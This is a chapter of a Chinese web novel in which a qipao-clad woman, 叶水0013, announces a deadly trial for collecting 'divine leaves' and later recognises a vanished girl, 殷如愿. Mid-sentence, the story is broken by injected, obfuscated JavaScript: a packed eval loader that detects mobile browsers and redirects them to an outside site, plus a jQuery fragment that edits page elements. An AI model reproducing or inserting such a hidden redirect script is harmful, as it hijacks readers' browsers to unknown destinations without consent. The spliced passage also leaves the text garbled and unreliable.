【神女厚德，命大祭司广纳贤才，这才给了诸位一个进入万家山的机会。】 “少废话了，把我们弄来做什么？”林之说话间并没有看旗袍女人，而是摩擦着自己手上已经干涸了的血迹。 旗袍女人意味深长地看了眼她，又把视线停留在月栀酒身上一瞬，接着扫过呆愣愣站在旁边的苗儿苗和白开心。 月栀酒隐约觉得眼前的这个女人好像有些眼熟，但他们之间应该未曾有过见面才对，这个感觉应该是“既视感”吧。 【神女唯恐庇佑不及天下人，特在万家山设立考核，选拔能继承她衣钵之人。】 旗袍女人抬手轻轻一挥，几人面前便凭空出现了18片漂浮在空中的深蓝色树叶。 【诸位眼前之物为［神叶］。】 【每人两片，请务必收好。】 月栀酒一行人一头雾水地拿过了自己眼前的深蓝色叶子。 【正如诸位刚刚经历过的［八卦阵］，便是神女选拔继承人的考核之一，只要诸位能活着通过考核，便有机会得到数量不等的［神叶］。】 【只要你们当中的其中一人收集到了100片［神叶］，便意味着他得到了神女的青睐。倘若神女有意培养他为继承人，那万家山便可一人得道，鸡犬升天，岂不美哉？】 “美哉个鬼啊！”林之毫不客气地说，“这不就是摁头考试吗？不及格赔命，及格了就只能得到点这种破叶子，谁稀罕啊？” 旗袍女人倒也并未动气，只是挂着没有半分笑意的微笑。 【你可以不参加考核，甚至可以辱骂神女。毕竟神女厚德大度，并不会与你这等小人计较。】 【但是，尔等既然入了万家山的地盘，也该懂得一点这里的规矩。】 【诸位请记住了，万家山容不得背信弃义之人。除此之外，愚昧无知者最好紧跟随大祭司的脚步，否则在万家山必死无疑。】 旗袍女人说到这里，婀娜摇曳两步就回到了那扇凭空屹立的房门边，接着一个响指便，门便应声打开。 【好了，话已至此，小女［叶水0013］恭送各位～】 月栀酒探头往门外看去，那是一片乌云密布的老旧村庄。 村子里人来人往，看起来与平常的村子似乎并没有什么不同。 安桉拉着安艺问：“姐姐，我们真的要出去吗？” 安艺并不知道眼前是什么情况，于是摇了摇头，想先看看别人作何选择。 小篮子和罗欢莱面面相觑，也不是很想进入门内的村子。他们本以为出了［八卦阵］就可以回家的，却不曾想被搞到了这个莫名其妙的地方，现在是进也不是，退也不是。 苗儿苗这个【胆小鬼】自然当担了“全场最怂”的头衔，他把白开心拽到自己面前，又接着退了好几步，拿白开心挡着自己，唯唯诺诺地问：“姐，这还有别的门吗？就是……从哪来回哪去的那种门……” 【叶水0013】摇了摇头。 苗儿苗直接崩溃，缩在白开心身后小声呜咽了起来。 安艺虽然把风衣脱了当绳子，但身上还穿着一件短袖T恤和一条运动短裤，应该没什么问题，可安桉身上却只剩下了一条小吊带和三角内裤。 林之实在是不忍心看这么小的小孩子光着着凉，脱了自己的防晒衣过去给安桉披上。 “姐姐？”安桉抬头看向她。 林之帮她整理了一下，“好像大了点哈，不过当成裙子穿也挺好看的。” 安桉看到防晒衣和林之手上都有血迹，关切地问：“姐姐你受伤了吗？” 林之为了不让小孩子担心，张口就胡说八道起来，“哈哈，没有啦，这些都是你那哥哥的血。你不知道，你哥哥成天没事就喜欢喷血玩儿，不用管他。” 安艺从妹妹和这个陌生女人的话中听出来，这位和站在她旁边那个男人就是指点她们逃脱［八卦阵］的恩人。 “你就是小桉提到过的那个蓝色房间里的姐姐？” “就是我啊。”林之站直身子，平视着安艺，半开玩笑说：“我可以没有要抢你妹妹的意思哦，之前我就已经把她完完整整地给你送回去了，这次只是不忍心看小孩子光着屁股而已。你们家小妹妹要是不喜欢，一会儿我帮她去找【叶水】小姐姐借一件衣服？” 安艺没想到林之居然敢开【叶水0013】的玩笑，连忙摆手说：“没有没有，我不是这个意思。” 看到这群人不仅不出去，还拿自己开起了玩笑，【叶水0013】轻咳了两声。就在她准备下逐客令的时候，月栀酒第一个向门的方向走了过去。 “还是去看看吧。” “来了！”林之没有什么意 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14777600|152770||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 见，小跑两步跟了上去，“不是，小哥你怎么突然之间就变得那么正经了？不过你这莫名其妙假正经的样子还挺好笑……啊不是，挺好玩儿的。” 月栀酒无奈叹气，“别骂了姐，再骂我这玩具就要emo了。” “我看起来比你老吗？” “唉哟，说错话了，对不住。那请问我以后应该称呼您什么呢？林小姐、林美女，还是尊敬的女士？” 林之眼珠转了半圈，俏皮地说：“我想想啊……还是跟［坎］字房间里一样，叫我姑娘好了。” “得嘞林姑娘，您先请。” 月栀酒笑着行了个绅士礼，退开身位让林之先走出了门。 ………… 罗欢莱和小篮子对视了一眼，也选择跟上去。 由于给［坤］字房间出谋划策的“智将”都进入到了门里，安艺不觉得自己带着妹妹可以在【叶水0013】身上占到什么便宜，所以也果断地拉着安桉跟了上去。 【叶水0013】双手环胸，看向躲在远处瑟瑟发抖的苗儿苗和笑嘻嘻像个假人一样的白开心，不客气地问道：“你们二位还不走，是想留下来喝杯茶吗？” 苗儿苗一抬头，发现人都几乎走完了，被吓得拽着白开心连忙往门内冲去。 “喂，你们等等我啊！不要丢下我一个人！！！” “还真是个【胆小鬼】……那么最后这位客官，难不成你真的想留下来陪……”【叶水0013】最后将目光停留在仍旧停留在原地的疯姑娘身上，从她散乱的头发里看到了那张【叶水0013】分外熟悉的面容，但她还是不敢相信，试探着问道：“殷……如愿？” 疯癫姑娘点了下头。 “你怎么弄成了这个样子？” 疯姑娘没有说话。 “你怎么到这里来了？是谁让你来的？”【叶水0013】放柔了语气继续问：“你能听到我说话吗？如愿……？” 疯癫姑娘殷如愿把自己额前的长发扒开，露出了一张年轻清秀的面孔，低着头说：“我……我想见见你，但又怕被你认出来，所以就拿头发把脸给遮住了……没想到，还是被你给认出来了。” “你是为了见我才来的？” “不完全是……是有人让我来这里。”殷如愿看起来格外悲伤，声音也像是藏在嗓子里的一样，“他们说我还是太缺乏经验，精神状态还没有达到他们希望的样子，所以就把我送来了这儿……” 【叶水0013】一瞬间露出了心疼的神色，“你可以拒绝的，如愿。” “不！”殷如愿就跟中了什么邪似的，抓着自己的头发重复了好几遍，“他们是对的……我很幸福、我是世界上最幸运的人……我只要听话就好了……对，只要听话就好了……” “你到底怎么了，如愿？” 【叶水0013】想上前抓住殷如愿，但殷如愿却在下一个瞬间凭空消失了。 “如愿！如愿！” 【叶水0013】着急地在四周寻找，可白亮的空间里根本就没有一个活人的存在。 莫非…… 她看着那扇大开着的房门，自言自语了一句：“该死的，你们可一定都别出什么事啊。” 不知道有没有人听见她这一句呢喃，但是对于【叶水0013】来说，这简单的一句话，就已经超过她力所能及范围内所尽过最大的心意了。 她轻轻一挥手，房门关闭，连带着门框一起降入了脚底的白光之中。